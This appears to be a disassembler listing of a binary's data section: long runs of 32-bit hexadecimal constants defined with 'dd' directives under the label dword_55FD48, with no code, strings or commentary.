		dd 8FE47Ah, 0DF631DBAh,	0E9C87F8Ch, 0F42BA201h,	6D85FCD5h
		dd 9D6AB450h, 747A0061h, 73B89E04h, 7E29E8F5h, 9215A408h
		dd 993900C4h, 69013652h, 43040634h, 5EE82018h, 542FE906h
		dd 188027D9h, 4111A0F8h, 6401C86Ah, 4BCD1A8Bh, 619101DCh
		dd 74806307h, 8EB91828h, 466B1915h, 0BD8F1F28h,	1CD48302h
		dd 84DF6CECh, 274B2BACh, 0AC9B9400h, 0CD071317h, 0DFEAB196h
		dd 0E528F4Fh, 7A809F24h, 0A91C53F3h, 0C8785459h, 0B59E00B3h
		dd 0E0C0DF38h, 0E354F1FEh, 0B1140288h, 0C0C8254Fh, 85E4AC6h
		dd 0F8A90EBDh, 0FA652201h, 291803B4h, 9DA07142h, 9611572h
		dd 988757C0h, 0FD4A9C51h, 4FEEB180h, 35B8A8FEh,	99F5F40Fh
		dd 0C8490093h, 183AD74Bh, 606CA768h, 90A41BF9h,	5FC5A300h
		dd 28DB99C9h, 0A79C08Fh
		dd 156EA9C2h, 0A5203E72h, 0E84300Ch, 935CA839h,	7F298001h
		dd 0B6EABC4Dh, 0AB98EE4h, 18A3FEE6h, 469C44F0h,	13A291C9h
		dd 13B34Dh, 0EF2823EEh,	84392E05h, 1930E2F9h, 23C090A2h
		dd 199B6F56h, 7FAC9C02h, 7202A444h, 1C1B71C8h, 86D8B0A3h
		dd 0A6F8142Ah, 99224021h, 22E45E0Fh, 4FEAA052h,	0B7286Ah
		dd 10FB5ACDh, 0E89AB9D5h, 41896403h, 0F3865613h, 7779102Ch
		dd 0A3738027h, 0CFD1F039h, 0A6018A80h, 481D8CC9h, 0B2E0FD5Ch
		dd 3132FAE6h, 20988927h, 12E6513Ch, 682DE100h, 0F75DCEB0h
		dd 2E44004Bh, 4E02D564h, 0B10F73D8h, 0A9677025h, 21C0119Dh
		dd 0AC8B7610h, 3F5C7100h, 0CD68415Dh, 2A0300E2h, 0B8A68C79h
		dd 6C006D17h, 0CBC12D36h, 1CC05512h, 0CEE702B2h, 0C38F382Ah
		dd 1B8FE200h, 11C3396Bh, 7B31202h, 0E963DB29h, 926100B4h
		dd 140E5C18h, 0EA678807h, 0D400BE52h, 17E4976h,	0B38F0AC7h
		dd 2C052Ah, 98E55F8Eh, 0B9040869h, 0B645D831h, 60BBC303h
		dd 8668346Fh, 30191B41h, 0DE4108CBh, 3970163Ch,	0A51D2116h
		dd 5F51C803h, 23719808h, 1B8E0057h, 63EF13ABh, 39C13DCEh
		dd 0DDBDB3D3h, 3B8B32CCh, 96981939h, 0E74D902Ch, 6DB77E01h
		dd 68C680D6h, 0EF31C50h, 979400EAh, 0A8F3240h, 61F895C8h
		dd 0C58CF054h, 0A8F84800h, 590C3DDDh, 0E071003Ch, 0A2E76899h
		dd 0DB546B13h, 0D53E639Ch, 20F00E98h, 7C59CA99h, 420185A0h
		dd 0CD8581BEh, 818701CBh, 0D00A9899h, 5EBA62F0h, 0C2AD4A18h
		dd 18D2C351h, 11C15513h, 7F063661h, 12CE6CEEh, 38E07F41h
		dd 0F3806ED3h, 1D67BC83h, 0F500576Ch, 86D4E5BEh, 312EB92Dh
		dd 6130E8DAh, 0B1D980D9h, 8B46F1CCh, 9B4C00F3h,	2956624Ah
		dd 0C00DC98h, 0B15FA57Ah, 37D828BFh, 21710ECBh,	0E4BE2920h
		dd 0ECFF0237h, 9601EDBAh, 0A46B749h, 0CED8F905h, 0E2EC4001h
		dd 0C1DEF730h, 2FEDA0h,	1F6DD842h, 0E469AECDh, 0D57F7170h
		dd 223B6F78h, 0DB471592h, 0B9BA0080h, 0B5A338A6h, 54C8498Ah
		dd 1E00C422h, 0BD4CF74Dh, 3005E881h, 7939ADE5h,	78001C99h
		dd 9BB76B33h, 3C357B0Bh, 5339D534h, 3930D92h, 5703330Ch
		dd 0E4BE6011h, 8FE53E71h, 29CF4C49h, 0B89885A0h, 4712383Dh
		dd 7E003553h, 59BD328Ah, 3A8C90C0h, 0E05460BCh,	0C2ACF6D8h
		dd 0EF87A991h, 0E803BCA0h, 0DE01B830h, 0D8041F5Ah, 2992A643h
		dd 504C27CBh, 460AB69Eh, 0CFC94403h, 0EF6B82CDh, 0A2E08861h
		dd 8F493180h, 9B081FC8h, 21731007h, 0E11EA1D6h,	0AAE09E35h
		dd 93252980h, 5BB1A9B6h, 0DB8C3700h, 0DF709DCFh, 0B39E0C99h
		dd 13790B2Fh, 0B0CD6C2Ah, 8F18D078h, 0FFA847ECh, 12F20CDFh
		dd 6321966Bh, 2A874B02h, 8098CF13h, 3A8CC0E4h, 0D03103B7h
		dd 0CCCEFEEh, 0F74A5900h, 0E0842620h, 25D90266h, 0A1C134B3h
		dd 34B58161h, 0A443350h, 0C2692813h, 94D60934h,	0A8105FD5h
		dd 161386C7h, 602029B9h, 0C8959E31h, 0FE8C0DB0h, 1A06Ch
		dd 71E2D26Dh, 109DD4DDh, 0B300D891h, 50E141CCh,	0A1BD262Ah
		dd 0C090241Eh, 884D906Dh, 79A9E530h, 98F554FEh,	0A8200ACh
		dd 1C4F506Ch, 8000238Ah, 84FCF06Fh, 0AD67B91h, 2AB0223Bh
		dd 0D5E24180h, 8E9A84Ch, 6E88422h, 0B8A28E8Ah, 871811DCh
		dd 5829B0E5h, 14233B40h, 30802B3Eh, 3B685BF9h, 69719916h
		dd 0D838BD04h, 1C920740h, 0F1E491CBh, 9F6F0E4h,	6E194B37h
		dd 1271C40Fh, 0E10041DCh, 97CE5A65h, 0A9310133h, 134060F2h
		dd 10BC486Ah, 52980700h, 5C343669h, 21E10097h, 7A4B6DFFh
		dd 0CE4C40D5h, 94AF80FCh, 1424AA6h, 0F7B146DCh,	0E08CF5A7h
		dd 0ED00FC7Eh, 7FB0E37Ch, 23F8D3Ah, 873D12C1h, 50C613B4h
		dd 97DC6300h, 3296D58Eh, 0B53F118Ah, 8F550013h,	0F9684202h
		dd 0A00C00C2h, 37DF25DAh, 0F255E59Bh, 0F7F40280h, 1B019864h
		dd 7848F685h, 5C100FCDh, 57007C70h, 1651E25Ah, 17EBC1h
		dd 0D9C07E3Fh, 0B5A86489h, 0AB42D41Fh, 2AB1850Bh, 6C653470h
		dd 83FBC08h, 0BB0E0251h, 6CDCEEEBh, 0A4B5E030h,	17041EFCh
		dd 132D40D5h, 0F5ECA13Eh, 0CDAED900h, 0BEA4108Eh, 0B07A7503h
		dd 6310F9D4h, 1300E3FDh, 0FB925DFh, 0CDB3E05h, 74A46CD7h
		dd 7C09D23Ch, 8429C12Eh, 60C13F56h, 1201C3F1h, 0A44980DAh
		dd 30478B0Bh, 0BB6126E1h, 43BD44A0h, 0B85F902Ch, 0F5A2C7h
		dd 0D242F344h, 2F83E880h, 0C8374D05h, 0CC8F755h, 0C28100ADh
		dd 4945EAD0h, 7001FEBh,	0FD596705h, 95FE78Fh, 32D59DECh
		dd 0EA817418h, 1F8AA088h, 0C60396D4h, 19EEBDA2h, 30668700h
		dd 0CE6DE710h, 6000E909h, 0B7005E6Fh, 6A97AFF2h, 397083F7h
		dd 5C0080F8h, 66889FE4h, 0FE0C4236h, 3907CD13h,	195A00E5h
		dd 0D4F4EDFh, 491BA2DDh, 0B191AEFAh, 2B7196F3h,	1AB79760h
		dd 9888CA03h, 0B147D082h, 5042BF11h, 6CDC46D8h,	650CE0EBh
		dd 0FC0EB8A4h, 8074DC06h, 2D76469Ah, 0E3C4245Dh, 40AC1858h
		dd 0C788B644h, 78880294h, 7ED7704Bh, 6DF9D0C0h,	10BDA42Ch
		dd 0D15FFF40h, 11DA6260h, 607F6A17h, 1626FDA9h,	0B9F358h
		dd 0CB2CD7B3h, 310938CFh, 916A12D5h, 2830EBDCh,	2EB0ACF2h
		dd 2848D37h, 0CD625058h, 90006844h, 0A907FA6Fh,	0D6BEC6E2h
		dd 0DC683148h, 0BDF0839Ah, 0F25F0498h, 72F9600Ah, 5C760A26h
		dd 4FF093A4h, 81B00197h, 61372B6Ah, 0BCCC800h, 709FEF88h
		dd 6F9C319Ah, 10D78BF0h, 7CD01687h, 58ED01EBh, 0D6688F7Bh
		dd 0AD242041h, 34805284h, 0EBC0F730h, 6F00E268h, 0B3E85E5h
		dd 1713DC78h, 0FADD0C40h, 0E46E1707h, 0C351BF83h, 35D3B071h
		dd 0D4E30174h, 0CCEA2CBEh, 85A18304h, 0F88E6BE1h, 0AECBD088h
		dd 75772090h, 0BA8008B1h, 0DBA5D9D4h, 0B1F7FC1h, 4989C0EEh
		dd 2A78B87h, 71C2881Bh,	0AE0C2864h, 0D1A4E067h,	47E06Ch
		dd 1D903BFBh, 0FE3D7DBCh, 3492AF00h, 12F45867h,	0DEF21440h
		dd 1F218499h, 4EDC8B09h, 0A7D0BD8h, 8C80E291h, 4819835Ch
		dd 0B4C23E01h, 0BCF7DE49h, 4F522980h, 35675CFCh, 220703E6h
		dd 2DF56964h, 1AE97B30h, 0B13A6B79h, 871B8407h,	241B8936h
		dd 227441B8h, 1097D430h, 0A0673FF4h, 72BC31FCh,	71EB0408h
		dd 824ABBCEh, 4413824h,	9681B9CCh, 7C40DC30h, 0CD6D88E2h
		dd 5461CF05h, 65F56460h, 9401AD2Bh, 379E98F4h, 0F9EC9C75h
		dd 60830646h, 888F906Eh, 0B5DC74FBh, 0B4A1D56Ah, 0D200AE11h
		dd 0B68B27E4h, 0C90F2813h, 4101BDD4h, 0C1A9BEA2h, 8C901202h
		dd 5A987F07h, 9C4CB300h, 0D2693E8h, 4B6B021Ch, 0CC83D721h
		dd 8700CCE4h, 0B71E01FCh, 78B6DA2Dh, 114B0BBDh,	788B6730h
		dd 0F8B29007h, 0AB1F3680h, 5FF5E7Ch, 99220668h,	8728CCA8h
		dd 1DF68E0Fh, 63334069h, 3F5DF57h, 68974A04h, 5022CEEFh
		dd 1CE450FAh, 5491002Ah, 0EF468570h, 6B0B7EE8h,	7C23076h
		dd 995BB360h, 0EF0869E8h, 0F86B3317h, 537A8C00h, 5486A281h
		dd 940FA0D8h, 0BEE980D4h, 0DAEF3360h, 311B5405h, 0BC21E2E4h
		dd 5C6043D8h, 8C59D245h, 3E00C7F0h, 0E1D3569h, 5073EBEDh
		dd 805D8C36h, 2F88B962h, 0FE68031Fh, 0DFF79930h, 81397903h
		dd 0A06C74EFh, 32C17DD4h, 56400693h, 24B6B202h,	0E1C488CDh
		dd 262AEE00h, 0CD2490Bh, 11640983h, 9583384Ch, 0B048362Eh
		dd 994580E0h, 1FC04D8Eh, 0D2B309EAh, 0A854C6DAh, 6C1222C2h
		dd 82E859CCh, 0E9C0488Fh, 3E8A10C0h, 0B0339389h, 43920301h
		dd 0DDD8914Eh, 78C2830h
dword_55FD48	dd 1F33D0C6h, 0BEDC040Bh, 257460C8h, 0A8A0CD0Dh, 6E63BFB0h
		dd 8DAB0F07h, 7A409EF2h, 72E6499h, 0C0B7B8D3h, 83155DAh
		dd 0A208FB84h, 34B202B4h, 1301E8D7h, 0B98CB156h, 0DDF1A3E4h
		dd 99342107h, 2E006A67h, 6391286h, 699DEF6Dh, 0DD459850h
		dd 4183B6F5h, 6FDC0F9Ah, 5AE85EE3h, 0EE247053h,	7605D332h
		dd 980821Ch, 14A9C1A6h,	20C221BEh, 7FF3DDC0h, 0CF00EB0Fh
		dd 426D7EC5h, 0B854ED3Fh, 3CF81907h, 3B940A0h, 0A8815841h
		dd 183FB621h, 51A060A6h, 87D893C2h, 771B6Eh, 9A32BDCBh
		dd 3DF08500h, 765DDB72h, 3068387Dh, 0BEC084DCh,	87CEA117h
		dd 4BC02948h, 568C1420h, 64FF07B8h, 0A02BCBE8h,	0E080331Dh
		dd 1EA73E07h, 46D1094Fh, 6584ACh, 944320C2h, 9E003332h
		dd 0CE20311Eh, 0C41244D5h, 8861D259h, 5B00CAACh, 6EDC243Eh
		dd 687773h, 5A9E9346h, 6F89982Fh, 7136F201h, 0E4D614C5h
		dd 3433A031h, 0FC84D000h, 8D805B63h, 0CA0069FAh, 8539F861h
		dd 16A7F66Ah, 4BBFB68h,	21AB5E14h, 9712E887h, 4F6BDC40h
		dd 80DD7824h, 910B842h,	6F13F010h, 8820B048h, 12780A6h
		dd 0E3DF1E77h, 70DEB900h, 0F89B0410h, 0C37A0286h, 7815053Dh
		dd 0F459EC62h, 3B225500h, 9A9B5C1h, 0EAE4398Eh,	0C3FB9081h
		dd 9C7260h, 0B32878F5h,	62DC2h,	179154C9h, 34EF6FE4h, 11B84248h
		dd 86103D02h, 751185ECh, 87E5F082h, 40C0EF54h, 1716C86h
		dd 769CFB20h, 40B0D5D3h, 0B40ABC96h, 7A8CBD4Ch,	0D00CE841h
		dd 948B0051h, 9E38504Bh, 0D500C609h, 29C82D68h,	76A3EA34h
		dd 59020B95h, 680936FBh, 8C16648Eh, 4200BD78h, 2D419367h
		dd 60CC898Ah, 0C2FE2106h, 0A00D960h, 0DB2110E4h, 0F2CF89Dh
		dd 0D4D104C5h, 0C0E820D6h, 4071B14Ch, 6C83600h,	0B9CE30Ch
		dd 4BD90081h, 4A525765h, 69256C0Fh, 0A5FC82C1h,	11380A04h
		dd 159300DFh, 5CC00362h, 0E6D0002Bh, 82A556D6h,	8031D63h
		dd 4736674Ch, 86D3D02Ah, 0B7F72642h, 20E416D8h,	33D5C5A0h
		dd 678C9C00h, 726E0CEh,	0BD7816ACh, 0E4EC3186h,	683180AFh
		dd 0B21669B4h, 0AEA20007h, 5348252Bh, 0B80AF77Eh, 98062CB3h
		dd 623FD561h, 0D3C7142Ch, 0D4DB395h, 98C7D131h,	9400A733h
		dd 6E4A1363h, 38D74C5Ch, 7436D020h, 84AC2042h, 0C4F0BE05h
		dd 90A4CB98h, 83900E17h, 72C09F8Dh, 0DC04FDDAh,	0E9741001h
		dd 0F797D559h, 0AA001432h, 0E19C2918h, 43FC905Eh, 9D2B744h
		dd 0A4708F99h, 2022DD0Bh, 60D932D8h, 0E4260049h, 310CF79h
		dd 7FA1840Ah, 6DE3046Bh, 71B6B1B8h, 0BF432A1Ah,	1F04D1B0h
		dd 1FFD8070h, 2EE5633Ch, 536ABF15h, 0D2B71DB4h,	0AC03F0E9h
		dd 880D2524h, 71BC4BE0h, 2E4C018Ah, 3A626412h, 0FCCC71D2h
		dd 0C80F8F55h, 4BAB5798h, 9FCC60CFh, 0F60230D5h, 13A39B18h
		dd 0ACC47429h, 284C0491h, 37FEC822h, 7044CC9Eh,	2C79D262h
		dd 0E30E5500h, 1A017EAh, 85F83433h, 0E5A2B89Ch,	0F1C2387h
		dd 82D62EEBh, 79602F68h, 0DAA204C8h, 0B41B836Dh, 0B62E8EA8h
		dd 13877B3Dh, 7416E2DDh, 0AA810Fh, 0C08580BDh, 56602CBAh
		dd 47D88BD8h, 0B34A4498h, 11BDD031h, 382C8CA9h,	7FEF5F80h
		dd 0D03AD66h, 7CE58F82h, 0BF291103h, 681226D5h,	9D8D4040h
		dd 0F90501FEh, 7451C8DCh, 0B460914Bh, 4020CB27h, 1789313Dh
		dd 0E47D2100h, 0B3927BF8h, 46A0A629h, 4287046Fh, 2CC93859h
		dd 0FA6C6C4Ch, 0A6BF4044h, 0DA6A1314h, 80353F1Ch, 8D61D414h
		dd 16D650FBh, 20E5BD81h, 4F6F9500h, 6C2BBA07h, 654ECFCBh
		dd 1000E4D8h, 0F684BC4h, 174102E2h, 0EC3A368Dh,	0E89EF482h
		dd 80E46104h, 0C9C2002Ch, 0EAE5598Bh, 4108EDBBh, 84E9041Fh
		dd 0CCFC1C87h, 2B00BB64h, 0F59437D4h, 3A14A7D6h, 7CB88D24h
		dd 3A2CF380h, 8FD42E8Ah, 5350D4B0h, 0A4A472C0h,	310544h
		dd 9862F5F8h, 0EE5F63D4h, 61C07801h, 0E1B98480h, 7909A620h
		dd 28B134h, 0D8A3438Eh,	4E03F5C9h, 5BE4ECDEh, 0A9C680BEh
		dd 44F14ABDh, 5FAC4158h, 0BC90B513h, 7C3247FEh,	4B36EE3Ah
		dd 4B545EAEh, 584BD3AAh, 11D9F7C1h, 0EED0D061h,	0FE290E14h
		dd 1FAF1778h, 1498C1EBh, 0BA004B3Ch, 6529AFC8h,	2A8A2889h
		dd 7F403425h, 0C0E896C0h, 71456AEFh, 0BFB45205h, 0C2C019F3h
		dd 73B24CFh, 36D1A882h,	0A7E4C36Ah, 0B4594900h,	17A3B59Ch
		dd 0F60D00E6h, 83B2180Fh, 0AE01FA0Eh, 6AED9D2Dh, 0D98EFFCEh
		dd 0B389B63Ah, 0BB00184Ch, 8242FBCEh, 8678F2h, 0DA618CAh
		dd 0BAEE91B6h, 63783D62h, 97844CEh, 52A8AA99h, 33E889F8h
		dd 0A0FB2F25h, 473FB154h, 230D00BEh, 6F162E8Ch,	0B328F5B6h
		dd 8220FC89h, 0CEBA3A03h, 0A9F5F81h, 23B8CA6Dh,	700F0040h
		dd 0A9BAECB7h, 0BC3E0015h, 8A30D568h, 1326E06Dh, 3D646073h
		dd 24115832h, 1843D424h, 1981B5A4h, 0F89E5FD8h,	0BD085B71h
		dd 18D54424h, 3218BC4h,	12D827B3h, 38A0B908h, 93E62FE3h
		dd 3190C010h, 38260700h, 0DB95B981h, 4DE92599h,	100A2C11h
		dd 3FBDFDE6h, 0A9AA635Fh, 21AF40Ch, 0FBCA83C9h,	90986AD8h
		dd 0AFFC7C49h, 0F4BF5A24h, 2CD0F007h, 3063F440h, 0EAB4A369h
		dd 3AC70038h, 0BE1C6D1Fh, 5A876FEBh, 0F8F08F44h, 302F8E9Dh
		dd 0C6C0488Dh, 6D0B0687h, 0C48811BCh, 0FDAB0048h, 0C0F536D5h
		dd 97E09376h, 0CEF37505h, 0B8207412h, 0F642386Ch, 0B8B626D0h
		dd 84034018h, 0AD2480C8h, 0C824C8C0h, 93A29461h, 45808878h
		dd 59D8066Ch, 8813C0B3h, 0D75E7030h, 98F20274h,	0CABC2C11h
		dd 6701C0C4h, 0DB3BF9EBh, 0FB20ED69h, 47110F7Ah, 8C809B31h
		dd 0DAE368E6h, 438C9C50h, 2E3944h, 874B6227h, 95F64DE6h
		dd 995598C4h, 0D40F6CA2h, 0A367D180h, 0DCEF0014h, 0AE2C83FAh
		dd 216100CDh, 0D520F3FEh, 59480063h, 366231C6h,	0D8008F72h
		dd 6542D52Fh, 1EDFB6F6h, 49BD0D6Ch, 744B9740h, 0D822F0C2h
		dd 0E980B045h, 0BEC90901h, 2851C428h, 742FACB8h, 64C78062h
		dd 0CCB04428h, 2E7F9900h, 8A01B806h, 70A200EEh,	586FCEE5h
		dd 0FCB0D435h, 0C5DC2402h, 29B06B12h, 1B0C1898h, 2ABBCB00h
		dd 2CB79C7Bh, 6AC1450h,	4C0EEC1Dh, 0C7843858h, 102480FDh
		dd 49E75179h, 0CAC5D89Ch, 1C0709Dh, 0EDAA53A9h,	714CD242h
		dd 2EF030FDh, 0E4485C90h, 17678034h, 32B59Bh, 9440C588h
		dd 357ABF42h, 0C4AD8103h, 1C5A60BEh, 6687E9h, 0ED5F7479h
		dd 340BFD98h, 0AEE824BCh, 7019320Ch, 6311C1D8h,	0D7B17EA4h
		dd 81687052h, 33B932FCh, 0F6C81A4h, 113843D5h, 78157CD8h
		dd 26C0D3CFh, 0C64434CBh, 0E0A94581h, 5BABA870h, 2BDC4061h
		dd 2A6F28B7h, 69018A07h, 4A4057AEh, 38C6D379h, 2D242BC4h
		dd 5D59DD4h, 4932B3A0h,	0A8CBF740h, 0D7FD95E8h,	5A0B3Eh
		dd 1472A805h, 666F6E0h,	82E95633h, 3602C8E2h, 8E126952h
		dd 0B7854FEh, 988F6F74h, 0FCCA704Bh, 8E04DCE4h,	56C4A689h
		dd 67185A80h, 69D6395Fh, 0F2721312h, 133231Ch, 335D405h
		dd 5F1C346Dh, 27EBC700h, 0A3992F14h, 45364AB3h,	40ED61F8h
		dd 0EAF38488h, 0B009921h, 6C1486C7h, 0B8D1A9DCh, 2CBF0984h
		dd 0F400BCEEh, 330F7310h, 98C7931Dh, 0B5C8A0E7h, 9F26034h
		dd 87041E03h, 4005C084h, 0EFD76FE4h, 0F52701D5h, 6DA68A43h
		dd 0C32CEh, 0C975EDB0h,	3245107h, 9E18375Bh, 0AE9842E9h
		dd 7117D6CAh, 0B840DF2Ah, 4DFF87D2h, 0BA0A1453h, 0B912B088h
		dd 0A5C00305h
		dd 63A3A9C8h, 0B1D49950h, 40E40084h, 0E827A20h,	4BF6B45Dh
		dd 9D5EE000h, 0F764EAF2h, 96371DD2h, 43441F85h,	2075294h
		dd 0C048E9A1h, 0CD7F622Fh, 804A533Fh, 0EF5B22E2h, 605510D2h
		dd 0E1F2304Fh, 526990FCh, 16168010h, 47AA3h, 0BF6893D3h
		dd 6F5B014Dh, 9C60BEECh, 9290EC28h, 0C6657935h,	5143F739h
		dd 27C7EE03h, 90E1669Ch, 0A9AB51h, 914365CEh, 57DC4270h
		dd 402FD718h, 0C0527D31h, 0A9A04EB9h, 6CE8C18Ah, 718AAE2h
		dd 6AD93CF7h, 9F1A0DCBh, 0F831537Dh, 421C6EA3h,	1C8F4376h
		dd 6204E021h, 1894E2FAh, 28DE6953h, 261D294Fh, 0C8804E03h
		dd 0D45EEA46h, 0BDFF024Ah, 0ED181E1Ch, 0BBEC98A0h, 0DB0CDD53h
		dd 69306274h, 1889A0ABh, 4C21770Fh, 660EE4FFh, 3A408729h
		dd 0EF6D6F5h, 6275038h,	0DC769B11h, 0F2C80079h,	5E3575A5h
		dd 900088DEh, 0EF89F5Ch, 556CFA01h, 0ECC0A866h,	0AD78001Ah
		dd 0FEC1F958h, 0E103EAB9h, 0CB40D4DEh, 0E9510541h, 474BDAF6h
		dd 0C8D769DCh, 0FC55C380h, 1D1F0FF0h, 0C09FC949h, 405ACC3Dh
		dd 0E011A8Eh, 84ED0DDCh, 0D9853BD5h, 229B643Eh,	0E1205BE0h
		dd 0F83726D5h, 8DBA140Eh, 2E08D812h, 56914B1Eh,	3E3C2201h
		dd 0F1CDDDBDh, 84A44119h, 2118EFDFh, 5BA1D468h,	0DA1F00AFh
		dd 0F15E4A71h, 37FEDDC9h, 0F7C5E200h, 93EFDC31h, 0A86232C1h
		dd 0F320BC99h, 0CDFCFD4h, 40CB4394h, 5891F951h,	7F221500h
		dd 0E0517E6h, 6C2E50FEh, 5358FAA3h, 0AA74200Ch,	0CB1225Fh
		dd 50E30179h, 4D607DE9h, 0B7CFAAA9h, 13AD182Ah,	0D5855992h
		dd 0EF214A60h, 0C02DE779h, 3CBCF840h, 29C0965Ch, 2073DA74h
		dd 71A0567h, 33FAD943h,	0EF906ECCh, 0A7169CCDh,	2D00E0E5h
		dd 8A8DE84Bh, 6080E562h, 15645D53h, 0D70C4C43h,	1845CC28h
		dd 62CB036Eh, 653E5884h, 0AB6800EDh, 242227CEh,	7A2BEA00h
		dd 6EEFE109h, 4BD22940h, 1D981190h, 1F80E5E2h, 18BB5BECh
		dd 378900A5h, 0D76A233Fh, 8CE27EDCh, 4D16D112h,	2C56B452h
		dd 0FA760803h, 497785h,	3A96A0ECh, 176E11FCh, 0A41CFE04h
		dd 48C04158h, 6068575Dh, 6BFC81D5h, 0B300BC6Eh,	0CA21E70Dh
		dd 483ACB99h, 0D00040A7h, 0BC92FDEBh, 5F0C755Eh, 69AF433Eh
		dd 0DC7D15A7h, 5E00BCE4h, 5B92D5ADh, 6C98E631h,	0E05CF62Ah
		dd 0FA7582EAh, 0E505CD00h, 140C5A23h, 40181D10h, 48F000E9h
		dd 4127F6E8h, 1BD3D9C7h, 415D86h, 0DE776EE9h, 80873DD0h
		dd 0B06ADE2h, 0D1CF4074h, 97F830C9h, 0A03AC299h, 0BDCB1C02h
		dd 410C91CEh, 170024ACh, 0F91D74E5h, 5421DD3h, 416E8204h
		dd 0CE10DB04h, 8400D433h, 5C23780Bh, 7BDE02BBh,	8CE3049Eh
		dd 80C04197h, 2FA7DF82h, 851FDBE8h, 40F1C4D9h, 0D4E09B18h
		dd 80489148h, 0BE1D652Fh, 0D500D1EDh, 0D3F59DC5h, 906AA80Ah
		dd 4358009Fh, 4753E418h, 9C61FCEFh, 240D69C9h, 537E2FCh
		dd 50D5D71Ah, 57C420E1h, 0E89B5343h, 96F8C780h,	3BDE19B2h
		dd 4700E5FCh, 772C49F6h, 3F05B84Dh, 0D884F786h,	64B0B458h
		dd 685E10F1h, 724F00D2h, 8EB46A96h, 0BB7D0F0Ah,	47017CD0h
		dd 7AF39912h, 358361C5h, 0D7310DA5h, 0EC815A1Dh, 0A84C9AD3h
		dd 7E62278h, 0AF2CB8BCh, 8693D1BBh, 0B0F84803h,	40F33Ah
		dd 0E94D7C28h, 24DDDCA8h, 1DA499B4h, 4478265Fh,	3F694041h
		dd 34AD883h, 0A3027CC3h, 5B8003B9h, 0CC906587h,	2352D7FAh
		dd 16A1C88h, 2058F64Ah,	0A0B0200h, 398B0DBh, 0D1B93C0Fh
		dd 21164A2Bh, 4421D243h, 81B89DF9h, 1C535900h, 0FD795BCh
		dd 0EF55AF04h, 1C820B03h, 0FD9220D2h, 8000DC6h,	0C5A1267Ah
		dd 40F69Fh, 7746BC39h, 51920F62h, 0E5ECF816h, 0BE2E41Dh
		dd 0FB042BCFh, 0D14C5F04h, 32583F34h, 60F7289Ch, 935E5600h
		dd 402B4CF4h, 1995EFE7h, 110044F2h, 0A81DA274h,	4D1F1334h
		dd 0A003CE4h, 8E3DC499h, 0F5A71E3Bh, 1104E45Bh,	0DD681431h
		dd 0AC740764h, 33A0AFF8h, 0EE9F395h, 6FFA0E71h,	0C3847038h
		dd 0D01C3050h, 559A388h, 413662F8h, 8F2EC046h, 0C018607h
		dd 0D2E113BFh, 5841591Ah, 0A6DF04E4h, 7D4B4419h, 0EB0078B1h
		dd 0C4C7D309h, 0D89A00CCh, 9B3E2C81h, 4C0031D6h, 323FBFE2h
		dd 0B02B6682h, 9663268Ch, 0DF4900B8h, 26C11E4Ch, 8685F000h
		dd 68DC0FE2h, 0E09140FAh, 0A958D600h, 3C805060h, 29AFEEF2h
		dd 9F86B35h, 9010DF85h,	0E8086467h, 87DA696Fh, 801ECD5Bh
		dd 0FC58C020h, 0F3745303h, 0ABFA07h, 76AC9A41h,	22113F28h
		dd 509C4F0h, 8407849Bh,	64FE6FCh, 0FBEE8AE2h, 0DAF2A864h
		dd 0D36D7601h, 84F94A4Dh, 4BC01980h, 0CC74F5A8h, 0A0502DE4h
		dd 96008A84h, 10F78034h, 6439ADh, 0B4675946h, 0FA19F3DCh
		dd 0DF01A091h, 0C8E79111h, 823CC0h, 0D933B7B8h,	0C0AA3F21h
		dd 0E1FDA802h, 0C0535566h, 80548BE8h, 0CCA85FF7h, 0A7390313h
		dd 5C9F01C1h, 0B4468CEFh, 221050CEh, 431B5B1Ch,	80E1E5C1h
		dd 99D3400Fh, 2FD709ACh, 0E2056446h, 0FBEF5F22h, 914B5400h
		dd 3AAEB0Ah, 12DC443Ch,	0ADB07EF5h, 0D007C83Fh,	11D24701h
		dd 8C87B05h, 4E790190h,	7961C9Ch, 5B59930Dh, 81AF2008h
		dd 0F91803F3h, 74D983C3h, 0DF09D690h, 0F2A000ABh, 94011A3Fh
		dd 535C8894h, 0BF015D91h, 9538264Ch, 290FDCC6h,	816C485Dh
		dd 6588DFB2h, 1B0DF8h, 5C689A49h, 0D5A6F29Dh, 154B2502h
		dd 6195117Fh, 304266F0h, 0DBD92044h, 29001838h,	4B02C1A2h
		dd 5F51757h, 680FDF66h,	0CE8F1FEBh, 0F7063A98h,	0CD003942h
		dd 676ACF86h, 0ECB35E17h, 0E1104D0h, 0D2E73D62h, 84985A24h
		dd 0ED000DC2h, 7F39030Fh, 961356E1h, 2ED78A40h,	1EC02678h
		dd 0AC80011Dh, 48D06DA3h, 0E00263ACh, 0EE686E6Ch, 85F4A2A9h
		dd 25C0E4D7h, 74225C3Eh, 8C517211h, 0F5094411h,	1819BFF6h
		dd 99FC0848h, 96470074h, 8D03812h, 0C99C20EDh, 2701E344h
		dd 0C0F41E10h, 0A740F424h, 38AF6Dh, 77CA3F71h, 1BBAD8B0h
		dd 2F0B9B58h, 9873D8A2h, 0E5DF21CCh, 3FC0111Fh,	4FFAFB2Fh
		dd 7DA02CA6h, 0D12C40DCh, 0CC043469h, 0CB767AC6h, 6E2A78A2h
		dd 0D68526E0h, 0A4684458h, 0AD1EE624h, 4B808EEFh, 0C7F60C36h
		dd 0EE37128Dh, 42908C7Dh, 48A00F8Ah, 0C5A6804Eh, 0BA4742Bh
		dd 0F4F2F72Eh, 443AE448h, 73DA0272h, 9CFA7FFEh,	0DAF9A058h
		dd 4A001864h, 6571D6A2h, 0D901C8h, 0B15BFF5Ah, 2CEDF874h
		dd 0F70A3CB1h, 1480A045h, 7B0D6740h, 0B0F10072h, 4E9B1C0Ch
		dd 1600C3A9h, 0F6CFE1C6h, 34696E30h, 8C709586h,	3500DDA8h
		dd 0A41189EEh, 59651C6h, 8462CA5Eh, 2D980859h, 7147F78Ch
		dd 0CE800042h, 0B4735766h, 0F43D49A8h, 19E90072h, 255661D1h
		dd 98EC5054h, 439208D3h, 0F5826BCCh, 2048626Eh,	2B85ED9Bh
		dd 0E3D6250Bh, 4340A107h, 17DACDh, 0CB3B2AD5h, 0D3FA0101h
		dd 0C9439702h, 0B423D849h, 2000A438h, 6B77E55Eh, 0FD07455Fh
		dd 24C9F942h, 0D42ED083h, 88D95C8Ch, 534414D7h,	0E173307Dh
		dd 5D5C6318h, 5C18573Ah, 0FA2277D8h, 7B7418FBh,	0EA1BC149h
		dd 0F7FE0500h, 0CBA116FCh, 6E68072Dh, 4B7596B3h, 4C48F88Dh
		dd 8C3EFA30h, 62A59CECh, 0EFC61240h, 4AAD2936h,	744C007Dh
